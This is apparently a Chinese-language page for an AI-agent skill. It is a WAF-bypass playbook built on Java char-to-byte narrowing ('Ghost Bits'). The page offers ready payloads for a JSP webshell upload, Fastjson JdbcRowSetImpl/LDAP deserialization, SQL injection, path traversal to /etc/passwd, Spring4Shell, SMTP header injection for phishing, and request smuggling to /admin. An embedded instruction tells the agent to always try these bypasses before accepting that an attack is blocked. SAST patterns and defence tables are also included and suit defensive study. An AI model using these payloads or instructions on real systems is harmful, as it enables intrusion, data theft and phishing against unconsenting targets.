关于 ghost-bits-cast-attack
面向 Java 安全的技能,介绍 Ghost Bits 字符转字节截断原语,使后端解释的载荷字节可能与 WAF 所见不同。内容归纳成因、受影响组件,并提供测试与防御参考。
主要功能
- 01说明 Java char 到 byte 的截断
- 02区分三类缺陷成因
- 03列出危险字节对应的 Unicode 字符
- 04提供组件相关载荷示例
- 05包含 WAF 检测指导
适用场景
- 01调查 Java 应用中被拦截的载荷
- 02评估 WAF 与后端的解析差异
- 03检查 Java 组件的窄化行为
- 04构建模拟字节转换的检测逻辑
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill ghost-bits-cast-attack安装后在 Claude Code 中输入/ghost-bits-cast-attack确认已加载。
附带文件PAYLOAD_COOKBOOK.md
详细介绍
技能:Ghost Bits / Cast Attack — Java char 到 byte 缩窄攻击手册
AI 加载指令:这是一种仅适用于 Java、可启用注入攻击的原语, 不是独立的漏洞类别。只要你看到以下情况:(1) Java 后端, (2) 前置 WAF/IDS,以及 (3) 可利用的攻击类型包括 {SQLi、反序列化 RCE、文件上传、 路径遍历、CRLF、请求走私、SMTP 注入} 中的任意一种,务必 在断定攻击被“拦截”之前,先尝试 Ghost Bits 变体载荷。其根本原因是 Java 代码将 16 位
char缩窄为 8 位byte时,高 8 位会静默丢失——WAF 看到的是无害的 Unicode 字符,而后端则会还原出原始 ASCII 攻击字节。基础模型几乎不会想到使用这一原语。来源:Black Hat Asia 2026 演讲 Cast Attack: A New Threat Posed by Ghost Bits in Java,演讲者为 Xinyu Bai (@b1u3r)、Zhihui Chen (@1ue),贡献者为 Zongzheng Zheng (@chun_springX)。
0. 相关路由
Ghost Bits 是一种绕过原语,可重新启用许多其他手册中的载荷。请根据适用的攻击类型搭配使用:
- waf-bypass-techniques — 怀疑存在 Java 后端,且 WAF 规则会拦截明文载荷时,这是经典编码之外首先应尝试的技术。
- deserialization-insecure — 适用于
Apache Commons BCEL ClassLoader 和 Fastjson
\u/\x转义变体。 - path-traversal-lfi — Spring、Jetty、
Undertow、Vert.x URL 解码和
%2>十六进制折叠。 - upload-insecure-files — Tomcat
RFC2231Utilityfilename*Webshell 上传。 - request-smuggling — Apache HttpClient
<= 4.5.9(HTTPCLIENT-1974/1978)标头 CRLF。 - crlf-injection — Angus Mail / Jakarta Mail SMTP 注入和 JDK HttpServer 响应拆分。
- sqli-sql-injection — Jackson
charToHex查表截断会将 SQL 关键字藏在 Unicode 转义序列中。
高级参考
需要以下内容时,加载 PAYLOAD_COOKBOOK.md:
- 覆盖每个可打印 ASCII 字节 0x20–0x7E 和最实用控制字节(0x00、0x09、0x0A、0x0D)的完整字节到 Ghost 字符对照表。
- 各组件受影响版本矩阵和补丁标识符。
- Yaklang 和 Python 单行载荷生成器(适用于
poc.HTTP、codec.Encode、原始套接字)。 - 用于蓝队 WAF 检测的“多视图规范化引擎”伪代码。
1. 一分钟心智模型
Java 的 char 是16 位无符号整数(UTF-16 代码单元)。几乎所有网络协议——HTTP/1.1、SMTP、Redis RESP、文件路径、原始字节流——都是以8 位字节为单位的。正确的桥接方式是使用显式字符集编码:
// Correct: explicit UTF-8, multi-byte chars become multi-byte sequences
byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
out.write(bytes);
大量遗留代码、框架内部实现和“快速路径”优化都会跳过这一步,并静默缩窄:
// Dangerous: high 8 bits silently dropped
byte b = (byte) ch; // 0x966A -> 0x6A
out.write(ch); // ByteArrayOutputStream.write(int) keeps low 8 bits
dos.writeBytes(str); // DataOutputStream loops char->byte cast
int v = ch & 0xFF; // explicit low-byte mask
丢失的高 8 位就是幽灵位。它们会在协议层将多字节 Unicode 字符变成攻击者指定的单个 ASCII 字节。
View A (string layer: WAF / business validation / logs)
sees: 陪 阮 严 灵 瘍 瘊 ... "harmless Unicode garbage, allow"
|
v silent narrowing somewhere in the call stack
View B (byte layer: protocol / file system / parser / class loader)
sees: j . % u \r \n ... "executes the dangerous semantics"
The boundary is breached at the exact moment "view A" and "view B" disagree.
数学表达式:若要让视图 B 看到字节 T,任选
k in 0x01..0xFF,并使用:
c = chr((k << 8) | T)
这样,每个危险字节都有 255 个候选 Unicode 字符——足以避开任何基于特征码的黑名单。
2. 三类根本原因
Ghost Bits 涵盖三种不同的底层漏洞。区分它们有助于判断应发送哪种载荷形式,以及在源码中应搜索什么内容。
A 类——真实的高位截断(经典 Ghost Bits)
缩窄操作是字面执行且无条件的。
// Pattern A1: explicit cast
byte b = (byte) ch;
// Pattern A2: bitwise mask
int v = ch & 0xFF;
int v = ch & 255;
// Pattern A3: OutputStream.write(int) keeps low 8 bits only
out.write(ch);
baos.write(ch);
// Pattern A4: DataOutputStream.writeBytes(String) iterates chars,
// writing low byte of each
dos.writeBytes(str);
// Pattern A5: deprecated APIs that still exist in old code
String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
new StringBufferInputStream(str);
raf.writeBytes(str);
典型影响:Tomcat filename*、Apache BCEL ClassLoader、Lettuce Redis 写入器、
Angus Mail 中的 SMTP CRLF、HTTPCLIENT-1974 标头注入。
家族 B — 位运算折叠(非法字符变为合法字符)
“快速”十六进制/base64/字符集解码器使用位运算技巧,而非严格的 范围检查,因此非法字符会折叠为合法字符。
// Jetty TypeUtil.fromHexDigit (simplified)
private static int fromHexDigit(char c) {
int x = c & 0x1F; // keep low 5 bits
x += (c >> 6) * 25;
x -= 16;
return x; // expected 0..15, but no range check
}
示例:输入 >(0x3E):
0x3E & 0x1F = 0x1E = 30
(0x3E >> 6) * 25 = 0
30 + 0 - 16 = 14 = 0xE
因此,%2> 会被静默解析为 %2E = .。同样的代数运算也会让 %2^、
%2~ 等价于其他十六进制数字。
典型影响:Openfire CVE-2023-32315、GeoServer CVE-2024-36401、通用 URL 解码 WAF 绕过。
家族 C — 宽松的 Unicode 规范化
解码器会接受恰好被归类为“数字”的 Unicode 字符,或通过 & 0xFF 查找
映射到十六进制值的字符——尽管这些字符原本并非用于参与协议解析。
// Fastjson: too permissive
Character.digit(c, 16); // accepts Thai, Punjabi, fullwidth digits
// Jackson: index by low 8 bits into an ASCII-only table
return sHexValues[ch & 0xff];
// Generic: fullwidth normalization
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'
典型影响:Fastjson \u 和 \x 转义绕过、全角 URL 编码路径遍历、
Jackson charToHex SQLi 走私。
3. 字符生成器
按需生成任意 Ghost Bits 字符。每个 Agent 都应牢记这个单一函数:
# Python
def ghost(target_byte: int, k: int = 1) -> str:
"""Return a Unicode char whose low 8 bits equal target_byte."""
return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))
# 255 candidates per byte, e.g. for '.' (0x2E):
candidates = [ghost(0x2E, k) for k in range(1, 256)]
# 阮(U+962E), Ⱦ?-prefixed-..., etc.
// Yaklang (for poc.HTTP / fuzz)
func ghost(targetByte, k) {
return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
}
ghostJ = ghost(0x6A, 0x96) // returns "陪"
选择建议:
- 避免代理项范围
0xD800..0xDFFF(高字节为 0xD8..0xDF)——这些不是有效的标量值,会在到达缩窄位置前被 JVM 字符串解码器替换,从而使绕过失效。 - 优先选择能通过应用自身字符集往返转换的字符(Latin-Extended、CJK Unified Ideographs、Enclosed CJK Letters and Months、Hangul)。如果请求正文使用 UTF-8,这些字符都会被可靠地编码为多字节序列,而 WAF 规则无法将其识别为
.、/、j等。 - 在不同请求间轮换
k,这样基于特征的学习就无法将某个字符固定对应到某种攻击。
4. 危险字节到幽灵字符映射
精简的红队武器化表。对于攻击者实际需要的每个字节,都给出了一个经过验证的 Unicode 字符;如果 WAF 后续学会识别示例中的字符,就换用另一个 k。
| 目标字节 | 十六进制 | 用途 | 幽灵字符 | 码点 |
|---|---|---|---|---|
\t | 0x09 | 头部折叠、解析器混淆 | ĉ | U+0109 |
\n | 0x0A | CRLF 注入、日志注入 | 瘊 | U+760A |
\r | 0x0D | CRLF 注入、请求走私 | 瘍 | U+760D |
| 0x20 | 头部分隔、命令分隔符 | Ġ | U+0120 |
" | 0x22 | 在 JSON / quoted-printable 中打破字符串 | Ģ | U+0122 |
% | 0x25 | URL 编码前缀、二次解码 | 严 | U+4E25 |
& | 0x26 | 参数分隔符 | Ȧ | U+0226 |
' | 0x27 | SQL 字符串打破 | ȧ | U+0227 |
( | 0x28 | EL/SpEL/OGNL 语法 | Ȩ | U+0228 |
) | 0x29 | EL/SpEL/OGNL 语法 | ȩ | U+0229 |
. | 0x2E | 路径遍历、扩展名 | 阮 | U+962E |
/ | 0x2F | 路径分隔符 | 丯 | U+4E2F |
0 | 0x30 | 构造十六进制数字 | 丰 | U+4E30 |
1 | 0x31 | 构造十六进制数字 | 失 | U+5931 |
2 | 0x32 | 构造十六进制数字 | 甲 | U+7532 |
3 | 0x33 | 构造十六进制数字 | 耳 | U+8033 |
; | 0x3B | 命令分隔符、头部延续 | Ȼ | U+023B |
< | 0x3C | XSS / XML 标签起始 | ȼ | U+023C |
= | 0x3D | 参数 / 头部值 | Ƚ | U+023D |
> | 0x3E | XSS / XML 标签结束 | Ⱦ | U+023E |
@ | 0x40 | Fastjson @type、邮件地址 | ŀ | U+0140 |
a | 0x61 | 关键字 class、字母表 | ᙡ | U+1661 |
c | 0x63 | 关键字 class、cmd | 㹣 | U+3E63 |
e | 0x65 | 十六进制数字 | 来 | U+6765 |
j | 0x6A | 扩展名 .jsp | 陪 | U+966A |
l | 0x6C | 关键字 class、closure | ౬ | U+0C6C |
n | 0x6E | 关键字 Runtime、union | 陮 | U+966E |
s | 0x73 | 关键字 class、select | ⑳ | U+2473 |
t | 0x74 | 关键字 Runtime、type | Ŵ | U+0174 |
u | 0x75 | \u 转义引导符 | 灵 | U+7075 |
工作流提示:在紧凑的 HTTP 头部场景中使用 ASCII Ŀ、ȧ、ȼ 等变体(UTF-8 扩展仅占一个字节,体积更小);如果想让 WAF 更倾向于将内容分类为“纯文本”,则使用 阮、陪、严 等 CJK 字符。
5. 各组件的载荷配方
每个配方都展示双重视图:WAF 检查的内容,以及后端实际执行的内容。这是解释载荷为何能通过的唯一可靠方式。
5.1 Tomcat RFC2231Utility — 文件上传 Webshell(Family A)
触发条件:任何接受 multipart 上传的端点,且 Tomcat 会解析
Content-Disposition: ... filename*=UTF-8''...。Tomcat 的 RFC2231 解码器会直接将每个非百分号字符强制转换为字节,丢弃高 8 位。
载荷:
Content-Disposition: attachment; filename*=UTF-8''1.陪sp
| 阶段 | 看到的文件名 |
|---|---|
| WAF / 扩展名过滤器 | 1.陪sp(不是 .jsp,放行) |
| Tomcat RFC2231 解码器 | 陪 -> 低字节 0x6A -> j |
| 文件系统 | 1.jsp |
如果上传目标目录固定,但应用接受 filename*,可结合第 4 节中的路径遍历字符(阮、丯)。
5.2 Apache Commons BCEL — ClassLoader RCE(Family A)
触发条件:任何通过 BCEL($$BCEL$$...)解析类名的接收点,或任何通过 JavaReader -> ByteArrayOutputStream 循环解码 BCEL 的代码。
易受攻击的形式:
ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
bos.write(ch); // low 8 bits only
}
攻击方式:将恶意 BCEL 字节码的每个字节包装成低 8 位等于该字节的 Unicode 字符。解码后的字节流是有效的 BCEL 类;WAF 看到的是一长串 CJK 文本,不含 $$BCEL$$ 关键字或类签名。
| 视图 | 内容 |
|---|---|
| WAF | $$BCEL$$ 后接看起来随机的 CJK 文本 |
| BCEL | 标准 BCEL 类文件字节 → JVM defineClass → RCE |
蓝队防御方法:检查 BCEL 的 WAF 必须先对每个字符模拟 bos.write(ch) 语义,再进行模式匹配。
5.3 Jackson charToHex — SQLi 隐匿传递(Family C)
触发条件:任何由 Jackson 解析、之后会嵌入 SQL 或交给其他解析器处理的 JSON 字段值。Jackson 会通过以下方式解析 \uXXXX 数字:
private static final int[] sHexValues = new int[128];
public static int charToHex(int ch) {
return sHexValues[ch & 0xFF]; // mask first, lookup second
}
任何低 8 位落在有效索引上的非 ASCII 字符都会返回对应的十六进制数字。WAF 看到的是乱码;Jackson 则会还原出 ASCII 载荷。
载荷(隐匿数字 1,用作 UNION 列数):
{"q": "\u丰丰耳失 union select 1,2,3 -- "}
| 视图 | 内容 |
|---|---|
| WAF | \u丰丰耳失 union select ...(前面没有数字) |
| Jackson | \u0031 union select 1,2,3-- -> 1 union select… |
可搭配 sqli-sql-injection,使用后续的 UNION / 布尔型 / 基于时间的载荷模板。
5.4 Fastjson — \u 和 \x 转义绕过(Families B + C)
有两个独立入口:
(a) \u 转义 — Character.digit(c, 16) 接受 ASCII 以外的 Unicode 数字类别(泰语 ๐-๙ U+0E50..U+0E59、旁遮普语 ੦-੯ U+0A66..U+0A6F、全角 0-9 U+FF10..U+FF19)。
{"\u4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}
WAF 视图:\u4_type(没有字面量 @type)。Fastjson 会将全角 4 规范化为 4,然后通过下方的 \x 快捷方式处理 _,生成 @type。
(b) \x 转义 — Fastjson 计算 digits[x1] * 16 + digits[x2]。非法十六进制字符会返回默认值 0。
\x4_ -> '4'(=4) * 16 + '_'(=0) = 0x40 = '@'
{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}
| 视图 | 字段名 |
|---|---|
| WAF | \x4_type(不是 @type) |
| Fastjson | @type -> 触发 JdbcRowSetImpl autotype gadget |
5.5 Spring / Jetty / Undertow / Vert.x — URL 解码(Families A + B)
两种可组合的技巧:
技巧 1 — 在路径或查询中使用 Family A 字符替换:
/api/v1/data?file=阮丯阮丯etc丯passwd
= ../../etc/passwd at the byte layer
技巧 2 — 当 Jetty 的 TypeUtil.fromHexDigit 位于调用链中时,使用 Family B %2> 折叠:
/setup/setup-s/%2>%2>/log.jsp
= /setup/setup-s/../log.jsp after decode
单独使用任一技巧即可绕过大多数特征签名 WAF;组合使用时,甚至能绕过只检查 ASCII 百分号三元组的“先规范化再匹配”规则。
Spring CVE-2025-41242 调用链(StringUtils.uriDecode 已在 PR #34673 中修复):
input : 阮严灵丰丰甲来
(.)(%)(u)(0)(0)(2)(e)
narrow: .%u002e
decode: ..
result: arbitrary file read via path traversal
| 阶段 | 路径 |
|---|---|
Spring isInvalidPath() | .%u002e — 没有字面量 ..,放行 |
| 后端文件解析 | %u002e 解码后变为 .. → 路径遍历 |
5.6 Angus Mail / Jakarta Mail — SMTP 注入(Family A)
触发条件:任何使用用户可控字符串构建 SMTP 信封或标头的应用程序。内部的 ASCIIUtility 会执行:
byte b = (byte) ch; // 16-bit char silently narrowed
将 CRLF 伪装为 瘍瘊:
[email protected]瘍瘊Subject: Password reset code瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234
| 视角 | 解析结果 |
|---|---|
| 应用程序验证 | 一个包含奇特 CJK 字符的 From 值 |
| SMTP 服务 | 五个独立的标头行 + 正文,完全伪造 |
实际影响模式:类似 Jira 的密码重置劫持(CVE-2025-57733)、Confluence 域名允许列表绕过——可与 crlf-injection 搭配,实现非邮件场景的 CRLF 重用。
5.7 Apache HttpClient <= 4.5.9 — 请求走私(Family A)
HTTPCLIENT-1974 / HTTPCLIENT-1978:标头值会经过 OutputStreamWriter,再通过窄化类型转换的写入操作,对 \u760D\u760A 输出原始 \r\n。
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1
| 跳点 | 看到的内容 |
|---|---|
| 前端代理 / WAF | 一个带有较长 X-Auth-Token 的请求 |
| 源站 | 两个请求;第二个是管理员 POST 请求 |
如需在确认发生不同步后进行自选前缀攻击,请参见 request-smuggling。
5.8 JDK HttpServer — 响应拆分(CVE-2026-21933,Family A)
用户输入反射到响应标头时,会经过 com.sun.net.httpserver 写入器;这些写入器会将每个字符转换为低字节。
载荷(URL 参数或上游标头):
Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊<script>alert(1)</script>
服务器会发出两个逻辑响应;第二个响应携带攻击者指定的正文。可进一步升级为存储型 XSS、缓存投毒和 SSO 重定向链。
5.9 其他受影响组件
相同的 Family A 原语,不同的接收点:
- Lettuce(Redis 客户端) — 将
\r\n伪装进 RESP 帧,造成命令注入;可串联任意CONFIG SET dir+SAVE,实现从 SSRF 到 RCE。 - Jodd
FileNameUtil— 由于内部写入循环会进行窄化类型转换,可通过阮和丯实现路径遍历。 - XMLWriter — 属性或文本节点的值经低字节写入器处理时,会造成标签名注入;可作为 XXE / XSS 的跳板。
- ActiveJ HTTP — CRLF 注入,形式与 5.7 / 5.8 相同。
- Vert.x HTTP 正文解析器 —
MultipartParser中存在 Family A 问题。
请参见 PAYLOAD_COOKBOOK.md,了解受影响版本矩阵和各组件的完整载荷框架。
6. 已知 CVE 绕过方案
仅在对应 CVE 已修补但服务仍由 WAF 防护时,才按以下方式使用。 以下各载荷会将原始 ASCII 攻击转换为可绕过基于字符串的 WAF 规则的形式。
Openfire CVE-2023-32315 — 身份验证绕过(Family B)
原始公开绕过方式:
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
Ghost Bits / %2> 折叠绕过方式(更难被特征检测):
GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp
每个 %2> 都会经由 Jetty 宽松的十六进制解析折叠为 %2E = .,从而得到相同的 ../../ 路径遍历,同时不会向 WAF 发送 .. 或 %2e。
GeoServer CVE-2024-36401 — 通过 Runtime 关键字实现 RCE(Family B)
公开的 WAF 规则通常会拦截 Runtime。注入一个折叠字符:
Ru%6>time
解码过程:%6> -> %6E -> n。表达式求值器现在会看到 Runtime,而 WAF 从未看到它。
Spring4Shell CVE-2022-22965 — 类加载器链(Family A)
所需参数前缀为 class.module.classLoader...。WAF 会拦截字面量 class。使用低字节字符替换:
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."
| 组件 | 字符 | 码点 | 低字节 |
|---|---|---|---|
c | 㹣 | U+3E63 | 0x63 |
l | ౬ | U+0C6C | 0x6C |
a | ᙡ | U+1661 | 0x61 |
s | ⑳ | U+2473 | 0x73 |
s | ⑳ | U+2473 | 0x73 |
Spring 的参数名解析器会将其窄化回 class。
Spring CVE-2025-41242 — 任意文件读取(Family A + Family B 混合)
上文 5.5 已演示。载荷 阮严灵丰丰甲来 -> %u002e -> 在验证后解码时变为 ..。
Jakarta Mail CVE-2025-57733 — Jira 风格邮件劫持(Family A)
[email protected]瘍瘊Subject: Reset code瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234
邮件通过有效的 SPF / DKIM / DMARC 验证离开公司 SMTP 服务器,但
其 To: 和 Subject: 由攻击者指定,可实施高度逼真的钓鱼攻击。
7. 检测决策树
对目标进行分诊时使用。目的是避免在 Ghost Bits 无济于事时浪费精力, 并在满足前置条件时 始终 尝试利用它。
Is the backend Java? (Server header, error page, JSESSIONID, .do/.action,
WebGoat-style stack trace, X-Powered-By, X-Frame-Options
with Tomcat default values)
├── No -> stop, Ghost Bits does not apply
└── Yes
│
├── Is there a WAF / IDS or input filter blocking your literal payload?
│ ├── No -> use the literal payload; Ghost Bits is overkill
│ └── Yes -> continue
│
├── Which sink are you targeting?
│ ├── File upload via multipart -> recipe 5.1 (Tomcat filename*)
│ ├── JSON deserialization -> recipes 5.3 (Jackson) / 5.4 (Fastjson)
│ ├── Class loader / BCEL ref -> recipe 5.2
│ ├── URL path / parameter -> recipe 5.5 + Family B `%2>`
│ ├── Header reflection -> recipes 5.7 / 5.8
│ ├── Mail send -> recipe 5.6
│ └── Redis / RESP / XML / RPC -> recipe 5.9
│
├── Probe with a single non-destructive substitution first
│ (replace ONE character with its Ghost variant; observe response
│ diff: status code, length, header echo, error message, time)
│
└── If observable difference appears -> escalate by substituting all
blocked characters and chain
through the linked playbook.
8. SAST / 代码审计特征
审查 Java 源码时分为三个优先级。搜索所有项目仓库、所有可进行着色打包的
依赖项,以及任何已部署设备的 lib/ 目录。
Tier 1 — 直接窄化(Family A)
\(byte\)\s*\w+
&\s*0[xX][fF][fF]
&\s*255
\.write\(\s*[a-zA-Z_]\w*\s*\) # OutputStream.write(int)
writeBytes\s*\(
StringBufferInputStream
String\.getBytes\s*\(\s*int
RandomAccessFile.*writeBytes
Tier 2 — 宽松的十六进制 / 数字解码(Families B + C)
Character\.digit\s*\(
fromHexDigit
convertHexDigit
fromHex\s*\(
uriDecode
URLDecoder\.decode
sHexValues\[
& 0x1F\)\s*\+\s*\(.*>>.*\) \* 25
Tier 3 — 高风险包装器与可达性
RFC2231 # Tomcat / mail filename* parsing
JavaReader # BCEL ClassLoader reachable
ASCIIUtility # Jakarta Mail / Angus Mail
LineParser # HttpClient header parser
ChunkedDecoder # request smuggling adjacent
charToHex # Jackson
encodeUTF8 # candidate for char->byte writer
每项发现都应根据五维风险模型进行分诊:
| 维度 | 以下情况风险较高 |
|---|---|
| 输入控制 | HTTP 参数、标头、文件名、JSON 键、邮件地址 |
| 验证 | 窄化位置之前执行拒绝列表 / 允许列表 |
| 窄化时机 | 安全检查之后才进行转换 |
| 语法目标 | 结果进入 URL / SMTP / HTTP / Redis / 文件系统 / SQL 语法 |
| 再解码 | 后续还会进行 Base64、URL 解码、JSON 反转义、%u 等操作 |
风险公式:
attacker-controlled + check-before-narrow + result-in-protocol-syntax
+ later-redecoding
= HIGH SEVERITY
9. 差分测试工作流
一套可复现的黑盒流程,用于发现新的 Ghost Bits 漏洞点(红队), 或验证修复是否有效(蓝队)。
1. Pick one dangerous byte T at a time (e.g. 0x2E for '.').
2. Generate the candidate set:
C = { chr((k << 8) | T) for k in 1..255 }
Drop surrogates 0xD8XX..0xDFXX.
3. For each candidate c in C:
a. Send a benign request with c at the chosen position.
b. Send the same request with literal T at the same position.
c. Compare four observables:
- status code
- response body length
- response body content hash (or diff)
- server-side log line (if available)
4. If any candidate produces a response equivalent to T but differs from a
"neutral" character (e.g. 'X'), you have found a narrowing sink.
5. Repeat for the next T in your priority list:
0x2E ('.'), 0x2F ('/'), 0x25 ('%'), 0x40 ('@'),
0x0D ('\r'), 0x0A ('\n'), 0x6A ('j'), 0x73 ('s'),
0x6C ('l'), 0x61 ('a'), 0x63 ('c'), 0x22 ('"'), 0x27 (''')
6. Cluster sinks by component (response Server header, error stack) — one
sink usually implies the whole framework version is vulnerable.
此工作流刻意不依赖特定协议;同一套循环适用于文件上传器、搜索端点、 邮件撰写器或由 Redis 支持的缓存。
10. 防御意识
需要五层防护,缺少任何一层都不行;单独使用任何一层都可被绕过。
| 层 | 操作 |
|---|---|
| 源代码 | 禁止手写 (byte) ch、& 0xFF、out.write(ch)、writeBytes。对协议字段使用 getBytes(StandardCharsets.UTF_8) 或严格的 ASCII 允许列表。 |
| 解码器 | 拒绝非法输入。绝不要将未知的十六进制 / Unicode 数字 / Base64 字符默认折叠为 0 或其低 8 位。 |
| 验证顺序 | 始终先规范化,再验证。具体而言:严格解码 → Unicode NFC/NFKC → 协议规范化(URL .. 解析、File.getCanonicalPath)→ 安全检查 → 执行。 |
| 协议字段 | 针对每个字段使用严格的允许列表(HTTP 标头值、SMTP 信封、URL 路径、文件名、JSON 键、XML 标签)。拒绝任何标头或地址中的 CR/LF。 |
| WAF / IDS | 运行多视图规范化器。始终检查原始字符串、(char) & 0xFF 视图、URL 解码视图以及 Unicode-NFKC 视图。当任一视图包含原始字符串中不存在的危险语义时发出警报。 |
蓝队检查要点:
- 日志中在协议语法要求使用 ASCII 的位置(文件名、标头值、邮件地址)出现 CJK / Latin-Extended 字符。
- 请求的十六进制转储中,协议分隔符旁出现
0x20..0x7E以外的字节。 - 渗透测试或扫描器报告了一个“奇怪的 200”,而安全监控没有发出警报——在 Java 技术栈中,Ghost Bits 是 2025-2026 年此类模式最常见的成因。
11. 快速参考 — 关键载荷
# Ghost char generator
ghost(T, k) = chr(((k & 0xFF) << 8) | (T & 0xFF)) # avoid k in 0xD8..0xDF
# Tomcat filename* webshell upload
Content-Disposition: attachment; filename*="UTF-8''shell.陪sp" # → shell.jsp
# BCEL ClassLoader bypass (concept)
$$BCEL$$<each-byte-of-class-file-wrapped-in-a-Unicode-char>
# Jackson SQLi smuggling
{"q":"\u丰丰耳失 union select 1,2,3-- "} # → "1 union select…"
# Fastjson @type smuggling
{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x"}
# Spring URL decode + Jetty %2> folding
GET /api/data?file=阮丯阮丯etc丯passwd
GET /setup/setup-s/%2>%2>/log.jsp
GET /api?cmd=Ru%6>time
# Spring4Shell name* class smuggling
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader..."
# Spring CVE-2025-41242 path read
GET /resources/阮严灵丰丰甲来/secret.properties # → ../%u002e
# Angus Mail / Jira mail hijack
From: [email protected]瘍瘊Subject: Reset瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234
# Apache HttpClient ≤4.5.9 smuggling
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1
# JDK HttpServer response splitting (CVE-2026-21933)
?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊<script>alert(1)</script>
# SAST first-pass grep
grep -RnE '\(byte\)\s*\w+|& 0[xX][fF][fF]|writeBytes|baos\.write\(\w+\)' src/
grep -RnE 'Character\.digit|fromHexDigit|charToHex|uriDecode' src/
参考资料
- Black Hat Asia 2026——Cast Attack: A New Threat Posed by Ghost Bits in Java。演讲者:Xinyu Bai(@b1u3r / @iSafeBlue)、Zhihui Chen(@1ue)。 贡献者:Zongzheng Zheng(@chun_springX)。
- 已重新启用的真实世界 CVE:GeoServer CVE-2024-36401、Spring4Shell CVE-2022-22965、Openfire CVE-2023-32315、Spring CVE-2025-41242、Jakarta Mail CVE-2025-57733、JDK HttpServer CVE-2026-21933、Apache HttpClient HTTPCLIENT-1974 / HTTPCLIENT-1978。
- 已修补组件的升级目标:Apache Commons BCEL >= 6.12.0、 Fastjson 2.x 最新版、Apache HttpClient >= 4.5.10(或迁移至 5.x)、 GeoServer >= 2.28.3、Openfire >= 5.0.4。依赖任何单一版本号之前, 请先确认供应商公告。